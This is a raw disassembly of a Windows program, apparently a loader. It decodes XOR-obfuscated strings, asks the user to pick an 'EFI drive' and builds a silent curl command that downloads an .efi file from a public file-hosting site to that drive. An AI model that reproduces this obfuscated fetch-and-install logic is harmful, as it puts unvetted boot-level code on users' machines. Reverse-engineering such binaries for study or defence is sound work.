lea rdx, [rbp + 0x270]
mov dword [rbp + 0x270], 0x101
lea rcx, [rbp + 0x300]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
xorps xmm0, xmm0
mov qword [rbp + 0x460], rsi
mov qword [rbp + 0x468], rsi
movups xmmword [rbp + 0x450], xmm0
test eax, eax
je 0x14004f285
lea rax, [rbp + 0x300]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14004f272
lea rdx, [rbp + 0x300]
jmp 0x14004f292
mov r8d, recv
lea rdx, str.SPEED__USER
lea rcx, [rbp + 0x450]
call fcn.140056a10
mov r14, qword [rbp + 0x460]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 9
jb 0x140052e56
mov r13, qword [rbp + 0x468]
lea r15, [rbp + 0x450]
mov r12, qword [rbp + 0x450]
lea rbx, [rbp + 0x2c0]
cmp r13, 0xf
mov qword [rbp + 0x2d0], rsi
mov qword [rbp + 0x2d8], rsi
mov edi, reloc.WS2_32.dll_ntohs
lea rsi, [r14 + 9]
cmova r15, r12
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c0], xmm0
cmp rsi, rdi
jbe 0x14004f386
mov rdi, rsi
or rdi, 0xf
cmp rdi, rcx
jbe 0x14004f328
movabs rax, 0x8000000000000000
mov rdi, rcx
add rax, 0x27
jmp 0x14004f358
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x14004f342
xor ebx, ebx
jmp 0x14004f37f
cmp rcx, 0x1000
jb 0x14004f377
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140052e50
mov rcx, rax
call fcn.140127260
test rax, rax
je 0x140052db7
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14004f37f
call fcn.140127260
mov rbx, rax
mov qword [rbp + 0x2c0], rbx
movsd xmm0, qword [str.Welcome_]
mov r8, r14
mov qword [rbp + 0x2d0], rsi
mov rdx, r15
mov qword [rbp + 0x2d8], rdi
movsd qword [rbx], xmm0
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rbx + 8], cl
lea rcx, [rbx + 9]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [str.y_T4]
lea rcx, [rbp + 4]
movss xmm2, dword [0x140197984]
movss xmm0, dword [0x14015f5c4]
addss xmm2, dword [0x14015f5c8]
movss xmm3, dword [0x14015f620]
movss xmm1, dword [0x14015f62c]
mov dword [rbp + 4], eax
movzx eax, byte [0x14015f468]
xor byte [rbp + 5], 0x31
xor al, 0x34
xor byte [rbp + 6], 0x32
xor byte [rbp + 7], 0x33
movss dword [rsp + 0x20], xmm0
mov byte [rbx + rsi], 0
mov byte [rbp + 4], 0x49
mov byte [rbp + 8], al
call fcn.140033ce0
movups xmm2, xmmword [str.kbbvqqk]
xor esi, esi
mov edx, dword [0x14015f350]
movss xmm3, dword [0x140197984]
cmp byte [0x14015f353], sil
addss xmm3, dword [0x14015f5cc]
mov r14d, dword [reloc.WS2_32.dll_accept]
movups xmmword [rsp + 0x60], xmm2
mov dword [rsp + 0x70], edx
je 0x14004f6a3
mov r8d, esi
cmp r14d, 2
jl 0x14004f66a
movd eax, xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
movdqa xmm2, xmm12
pmuldq xmm0, xmm11
pmuldq xmm1, xmm11
movd ecx, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm13
pmulld xmm0, xmm8
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm15
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm11
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x64]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm14
xorps xmm2, xmm1
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm11
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm11
movd dword [rsp + 0x64], xmm2
movdqa xmm2, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x68]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm6
xorps xmm2, xmm1
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movd dword [rsp + 0x68], xmm2
movdqa xmm2, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movd xmm1, dword [rsp + 0x6c]
psubd xmm2, xmm0
andps xmm2, xmm15
movd xmm0, ecx
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
movdqa xmm2, xmmword [0x14015f770]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm11
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, edx
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x70], xmm2
jmp 0x14004f6a3
lea r10, [rsp + 0x60]
nop
mov eax, 0x3521cfb3
lea r10, [r10 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r10 - 1], al
cmp r8d, 0x14
jl 0x14004f670
movups xmm0, xmmword [0x140199178]
mov r9, qword [0x140198af0]
lea rax, [rbp + 0x290]
movss xmm1, dword [0x14015f634]
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rax
movaps xmm2, xmm3
movdqa xmmword [rbp + 0x290], xmm0
movss dword [rsp + 0x20], xmm9
call fcn.140033770
movss xmm2, dword [0x140197984]
lea rax, [rbp + 0x290]
cmp qword [rbp + 0x2d8], 0xf
lea rcx, [rbp + 0x2c0]
movups xmm0, xmmword [0x140199178]
cmova rcx, qword [rbp + 0x2c0]
addss xmm2, dword [0x14015f5dc]
mov r9, qword [0x140198af0]
movss xmm1, dword [0x14015f634]
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm9
movdqa xmmword [rbp + 0x290], xmm0
call fcn.140033770
movzx eax, word [0x14015f458]
mov r8d, esi
movss xmm3, dword [0x140197984]
mov word [rsp + 0x70], ax
movzx eax, byte [0x14015f45a]
mov byte [rsp + 0x72], al
movups xmm2, xmmword [str.PAG]
addss xmm3, dword [0x14015f5e8]
movups xmmword [rsp + 0x60], xmm2
cmp r14d, 2
jl 0x14004f925
movd eax, xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
movdqa xmm2, xmm12
pmuldq xmm0, xmm11
pmuldq xmm1, xmm11
movd ecx, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm13
pmulld xmm0, xmm8
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm15
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm11
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x64]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm14
xorps xmm2, xmm1
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm11
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm11
movd dword [rsp + 0x64], xmm2
movdqa xmm2, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x68]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm6
xorps xmm2, xmm1
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movd dword [rsp + 0x68], xmm2
movdqa xmm2, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movd xmm1, dword [rsp + 0x6c]
psubd xmm2, xmm0
andps xmm2, xmm15
movd xmm0, ecx
packuswb xmm2, xmm2
mov r8d, reloc.WS2_32.dll_recv
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
mov eax, r8d
lea r10, [rsp + 0x60]
add r10, rax
mov eax, 0x4d4873ed
lea r10, [r10 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r10 - 1], al
cmp r8d, 0x13
jl 0x14004f930
movups xmm0, xmmword [0x140199178]
mov r9, qword [0x140198af0]
lea rax, [rbp + 0x290]
movss xmm1, dword [0x14015f634]
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rax
movaps xmm2, xmm3
movdqa xmmword [rbp + 0x290], xmm0
movss dword [rsp + 0x20], xmm9
call fcn.140033770
call fcn.14000aca0
movsd xmm0, qword [str.cA_RXP8]
lea rcx, [rbp - 0x30]
movss xmm2, dword [0x140197984]
movzx eax, byte [0x14015f398]
addss xmm2, dword [0x14015f618]
movss xmm3, dword [0x14015f620]
xor al, 0x38
movss xmm1, dword [0x14015f5a4]
movsd qword [rbp - 0x30], xmm0
movss xmm0, dword [0x14015f5e0]
xor byte [rbp - 0x2f], 0x31
xor byte [rbp - 0x2e], 0x32
xor byte [rbp - 0x2d], 0x33
xor byte [rbp - 0x2c], 0x34
xor byte [rbp - 0x2b], 0x35
xor byte [rbp - 0x2a], 0x36
xor byte [rbp - 0x29], 0x37
movss dword [rsp + 0x20], xmm0
mov byte [rbp - 0x30], 0x53
mov byte [rbp - 0x28], al
call fcn.140033ce0
mov eax, dword [0x14015f43c]
mov r8d, esi
movups xmm2, xmmword [0x14015f328]
mov dword [rbp + 0x148], eax
movzx eax, word [0x14015f440]
xor byte [rbp + 0x149], 0x31
xor byte [rbp + 0x14a], 0x32
xor byte [rbp + 0x14b], 0x33
movss xmm3, dword [0x140197984]
addss xmm3, dword [0x14015f5a4]
mov word [rbp + 0x14c], ax
xor al, 0x34
xor byte [rbp + 0x14d], 0x35
mov byte [rbp + 0x14c], al
movzx eax, word [0x14015f338]
mov word [rsp + 0x70], ax
movzx eax, byte [0x14015f33a]
mov byte [rsp + 0x72], al
mov byte [rbp + 0x148], 0x53
movups xmmword [rsp + 0x60], xmm2
cmp r14d, 2
jl 0x14004fc40
movd eax, xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
movdqa xmm2, xmm12
pmuldq xmm0, xmm11
pmuldq xmm1, xmm11
movd ecx, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm13
pmulld xmm0, xmm8
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm15
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm11
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x64]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm14
xorps xmm2, xmm1
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm11
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm11
movd dword [rsp + 0x64], xmm2
movdqa xmm2, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x68]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm6
xorps xmm2, xmm1
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movd dword [rsp + 0x68], xmm2
movdqa xmm2, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movd xmm1, dword [rsp + 0x6c]
psubd xmm2, xmm0
andps xmm2, xmm15
movd xmm0, ecx
packuswb xmm2, xmm2
mov r8d, reloc.WS2_32.dll_recv
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
mov eax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x14004fc50
movss xmm0, dword [0x14015f5ac]
lea rdx, [rbp + 0x148]
movss xmm2, dword [0x14015f584]
lea rcx, [rsp + 0x60]
movss dword [rsp + 0x28], xmm0
movss xmm0, dword [0x14015f614]
movss dword [rsp + 0x20], xmm0
call fcn.140032360
mov ebx, 1
test al, al
je 0x14004fd36
mov ecx, ebx
call fcn.140127260
lea rcx, [rbp + 0x448]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x140058460]
xor ecx, ecx
mov dword [rsp + 0x20], esi
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x440], rax
test rax, rax
je 0x140052d8a
cmp dword [rbp + 0x448], 0
je 0x140052d81
movaps xmm0, xmmword [rbp + 0x440]
lea rcx, [rbp + 0x290]
movdqa xmmword [rbp + 0x290], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140052d81
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x440], xmm0
mov eax, dword [0x14015f354]
mov r8d, esi
movups xmm2, xmmword [0x14015f328]
mov dword [rbp + 0xc], eax
movzx eax, byte [0x14015f358]
xor byte [rbp + 0xd], 0x31
xor al, 0x34
xor byte [rbp + 0xe], 0x32
xor byte [rbp + 0xf], 0x33
movss xmm3, dword [0x140197984]
mov byte [rbp + 0x10], al
movzx eax, word [0x14015f338]
mov word [rsp + 0x70], ax
movzx eax, byte [0x14015f33a]
mov byte [rsp + 0x72], al
mov byte [rbp + 0xc], 0x55
addss xmm3, dword [0x14015f5c0]
movups xmmword [rsp + 0x60], xmm2
cmp r14d, 2
jl 0x14004ff42
movd eax, xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
movdqa xmm2, xmm12
pmuldq xmm0, xmm11
pmuldq xmm1, xmm11
movd ecx, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm13
pmulld xmm0, xmm8
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm15
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm11
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x64]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm14
xorps xmm2, xmm1
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm11
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm11
movd dword [rsp + 0x64], xmm2
movdqa xmm2, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x68]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm6
xorps xmm2, xmm1
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movd dword [rsp + 0x68], xmm2
movdqa xmm2, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movd xmm1, dword [rsp + 0x6c]
psubd xmm2, xmm0
andps xmm2, xmm15
movd xmm0, ecx
packuswb xmm2, xmm2
mov r8d, reloc.WS2_32.dll_recv
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
mov eax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x14004ff50
movss xmm0, dword [0x14015f5ac]
lea rdx, [rbp + 0xc]
movss xmm1, dword [0x14015f5d8]
lea rcx, [rsp + 0x60]
movss xmm2, dword [0x14015f584]
movss dword [rsp + 0x28], xmm0
movss dword [rsp + 0x20], xmm1
call fcn.140032360
movups xmm2, xmmword [0x14015f3b0]
movss xmm3, dword [0x140197984]
addss xmm3, dword [0x14015f5c0]
movdqa xmm0, xmm2
psrldq xmm0, 0xf
movd eax, xmm0
movups xmmword [rbp + 0x270], xmm2
test al, al
je 0x1400501e3
mov r8d, esi
cmp r14d, 2
jl 0x1400501a4
movd eax, xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
movdqa xmm2, xmm12
pmuldq xmm0, xmm11
pmuldq xmm1, xmm11
movd ecx, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm13
pmulld xmm0, xmm8
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm15
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm11
movd dword [rbp + 0x270], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x274]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm14
xorps xmm2, xmm1
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm11
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm11
movd dword [rbp + 0x274], xmm2
movdqa xmm2, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x278]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm6
xorps xmm2, xmm1
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movd dword [rbp + 0x278], xmm2
movdqa xmm2, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movd xmm1, dword [rbp + 0x27c]
psubd xmm2, xmm0
andps xmm2, xmm15
movd xmm0, ecx
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x27c], xmm2
jmp 0x1400501e3
lea r9, [rbp + 0x270]
nop dword [rax + rax]
mov eax, 0x3521cfb3
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x1400501b0
movsd xmm0, qword [0x14015f360]
mov r8d, esi
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov ecx, dword [0x14015f368]
movsd qword [rbp + 0x18], xmm0
mov byte [rbp + 0x24], al
mov dword [rbp + 0x20], ecx
cmp r14d, 2
jl 0x14005034e
movd eax, xmm7
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
movdqa xmm2, xmm12
pmuldq xmm0, xmm11
mov r8d, recv
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm13
pmulld xmm0, xmm8
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm15
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x14015f360]
xorps xmm1, xmm0
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm11
movd dword [rbp + 0x18], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1c]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm14
xorps xmm2, xmm1
punpckhdq xmm0, xmm14
movd dword [rbp + 0x1c], xmm2
movdqa xmm1, xmm14
pmuldq xmm0, xmm11
movdqa xmm2, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, ecx
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x20], xmm2
mov eax, r8d
lea r9, [rbp + 0x18]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140050360
movss xmm0, dword [0x14015f5d8]
lea rdx, [rbp + 0x270]
movss xmm6, dword [0x14015f5ac]
lea rcx, [rbp + 0x18]
movss xmm2, dword [0x14015f5e4]
movss dword [rsp + 0x28], xmm6
movss dword [rsp + 0x20], xmm0
call fcn.140032360
test al, al
je 0x1400505a7
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov ecx, ebx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r9, rax
lea r8, [0x14015e8ec]
lea rdx, str.CONOUT_
lea rcx, [rbp + 0x210]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen_s]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r9, rax
lea r8, [0x14015e8f8]
lea rdx, str.CONIN_
lea rcx, [rbp + 0x210]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen_s]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n_nPlease_Select_Your_EFI_Drive__n_n
call fcn.1400562e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._1_____A:_n_n
call fcn.1400562e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._2_____D:_n_n
call fcn.1400562e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._3_____E:_n_n
call fcn.1400562e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._4_____F:_n_n
call fcn.1400562e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x14015e9c0]
call fcn.1400562e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp + 0x2b8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rbp + 0x2b8]
sub ecx, 1
je 0x14005054b
sub ecx, 1
je 0x140050526
sub ecx, 1
je 0x140050501
cmp ecx, 1
je 0x1400504dc
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Error
lea rdx, str.Invalid_choice.
jmp 0x140050593
mov r9d, 0x40
lea r8, str.Notification
lea rdx, str.Downloading_EFI_Files_To_Drive_F:_Please_Wait
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, str.curl___silent_https:__files.catbox.moe_gwhkv2.efi___output_F:_speed.efi
jmp 0x14005056e
mov r9d, 0x40
lea r8, str.Notification
lea rdx, str.Downloading_EFI_Files_To_Drive_E:_Please_Wait
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
